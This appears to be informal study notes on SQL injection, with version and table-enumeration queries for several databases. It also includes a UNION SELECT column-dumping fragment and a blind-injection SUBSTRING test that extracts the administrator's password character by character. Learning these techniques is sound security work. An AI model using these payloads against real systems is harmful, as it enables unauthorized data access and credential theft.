Quiries
Quires
#### Get database info On Oracle this gives version details:
SELECT * FROM v$version
To get the tables that exist:
SELECT * FROM information_schema.tables
normally works+
### Database type and version request
The following return database version for the specified popular database
Data base type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
- Note: For Oracle Banner is one of the *
Get table info
get all tables
It seems that For PostgreSQL
SELECT table_name FROM information_schema.tables
get all columns for a table
For PostgreSQL
UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'Table name' --
Get string length
LENGTH(string)
SUBSTRING((SELECT password FROM users WHERE username = ‘administrator’), 1, 1) = ‘m